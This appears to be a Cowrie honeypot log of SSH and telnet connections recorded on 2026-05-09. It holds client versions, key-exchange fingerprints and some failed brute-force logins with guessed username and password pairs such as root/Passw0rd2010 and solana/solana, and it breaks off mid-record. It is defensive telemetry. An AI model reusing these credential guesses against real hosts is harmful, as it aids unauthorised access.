{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:02:44.171191Z","src_ip":"45.78.230.231","session":"9193128c0c5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.72.157.9","src_port":9379,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f0003323745","protocol":"telnet","message":"New connection: 217.72.157.9:9379 (10.17.0.5:23) [session: 8f0003323745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:02:58.470712Z"}
{"eventid":"cowrie.session.closed","duration":13.264383554458618,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:03:11.735000Z","src_ip":"217.72.157.9","session":"8f0003323745","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.23","src_port":4634,"dst_ip":"10.17.0.5","dst_port":22,"session":"25be689325a3","protocol":"ssh","message":"New connection: 92.118.39.23:4634 (10.17.0.5:22) [session: 25be689325a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:03:17.699407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:03:17.709735Z","src_ip":"92.118.39.23","session":"25be689325a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:03:17.809616Z","src_ip":"92.118.39.23","session":"25be689325a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:03:18.240694Z","src_ip":"92.118.39.23","session":"25be689325a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.105.139.68","src_port":41514,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ef953cc5cdf","protocol":"ssh","message":"New connection: 184.105.139.68:41514 (10.17.0.5:22) [session: 3ef953cc5cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:03:45.812558Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:03:45.817292Z","src_ip":"184.105.139.68","session":"3ef953cc5cdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:03:45.821296Z","src_ip":"184.105.139.68","session":"3ef953cc5cdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":52528,"dst_ip":"159.203.135.109","dst_port":22,"session":"dff5680bcb06","protocol":"ssh","message":"New connection: 2.57.122.208:52528 (159.203.135.109:22) [session: dff5680bcb06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:03:55.250252Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:03:55.370643Z","src_ip":"2.57.122.208","session":"dff5680bcb06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"81.6","message":"Connection lost after 81.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:04:05.563536Z","src_ip":"45.78.230.231","session":"9193128c0c5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":40494,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf74b9b06d04","protocol":"ssh","message":"New connection: 45.78.230.231:40494 (10.17.0.5:22) [session: cf74b9b06d04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:04:29.030423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:04:29.034359Z","src_ip":"45.78.230.231","session":"cf74b9b06d04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:04:30.716491Z","src_ip":"45.78.230.231","session":"cf74b9b06d04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1999","message":"login attempt [root/1999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:04:33.786855Z","src_ip":"45.78.230.231","session":"cf74b9b06d04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:04:35.095016Z","src_ip":"45.78.230.231","session":"cf74b9b06d04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":53154,"dst_ip":"10.17.0.5","dst_port":22,"session":"b502d52cf735","protocol":"ssh","message":"New connection: 2.57.122.208:53154 (10.17.0.5:22) [session: b502d52cf735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:05:15.131387Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:05:15.245968Z","src_ip":"2.57.122.208","session":"b502d52cf735","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.219.64.84","src_port":33426,"dst_ip":"10.17.0.5","dst_port":23,"session":"15fcd1292be2","protocol":"telnet","message":"New connection: 189.219.64.84:33426 (10.17.0.5:23) [session: 15fcd1292be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:06:15.350187Z"}
{"eventid":"cowrie.session.closed","duration":13.252922058105469,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:06:28.602970Z","src_ip":"189.219.64.84","session":"15fcd1292be2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":44918,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd8b43561e45","protocol":"ssh","message":"New connection: 45.78.230.231:44918 (10.17.0.5:22) [session: cd8b43561e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:07:53.537648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:07:53.541901Z","src_ip":"45.78.230.231","session":"cd8b43561e45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:07:54.525125Z","src_ip":"45.78.230.231","session":"cd8b43561e45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd2010","message":"login attempt [root/Passw0rd2010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:07:56.722367Z","src_ip":"45.78.230.231","session":"cd8b43561e45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:08:00.134128Z","src_ip":"45.78.230.231","session":"cd8b43561e45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":48550,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fbbfc7f032c","protocol":"ssh","message":"New connection: 2.57.122.208:48550 (159.203.135.109:22) [session: 6fbbfc7f032c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:08:40.791464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:08:40.957084Z","src_ip":"2.57.122.208","session":"6fbbfc7f032c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:08:40.961180Z","src_ip":"2.57.122.208","session":"6fbbfc7f032c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:08:43.002088Z","src_ip":"2.57.122.208","session":"6fbbfc7f032c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:08:44.408381Z","src_ip":"2.57.122.208","session":"6fbbfc7f032c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":36600,"dst_ip":"10.17.0.5","dst_port":22,"session":"30a7f4ab630d","protocol":"ssh","message":"New connection: 2.57.122.208:36600 (10.17.0.5:22) [session: 30a7f4ab630d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:09:29.204188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:09:29.465569Z","src_ip":"2.57.122.208","session":"30a7f4ab630d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:09:29.469918Z","src_ip":"2.57.122.208","session":"30a7f4ab630d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:09:30.942756Z","src_ip":"2.57.122.208","session":"30a7f4ab630d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:09:32.449217Z","src_ip":"2.57.122.208","session":"30a7f4ab630d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":32826,"dst_ip":"10.17.0.5","dst_port":22,"session":"655ea606ac67","protocol":"ssh","message":"New connection: 45.78.230.231:32826 (10.17.0.5:22) [session: 655ea606ac67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:09:36.409704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:09:36.415806Z","src_ip":"45.78.230.231","session":"655ea606ac67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:09:36.654605Z","src_ip":"45.78.230.231","session":"655ea606ac67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwER12#$","message":"login attempt [root/qwER12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:09:48.346370Z","src_ip":"45.78.230.231","session":"655ea606ac67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.9","message":"Connection lost after 11.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:09:48.350897Z","src_ip":"45.78.230.231","session":"655ea606ac67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":38790,"dst_ip":"10.17.0.5","dst_port":22,"session":"4851b12dd41c","protocol":"ssh","message":"New connection: 193.46.255.86:38790 (10.17.0.5:22) [session: 4851b12dd41c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:10:08.288577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:10:08.293428Z","src_ip":"193.46.255.86","session":"4851b12dd41c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-c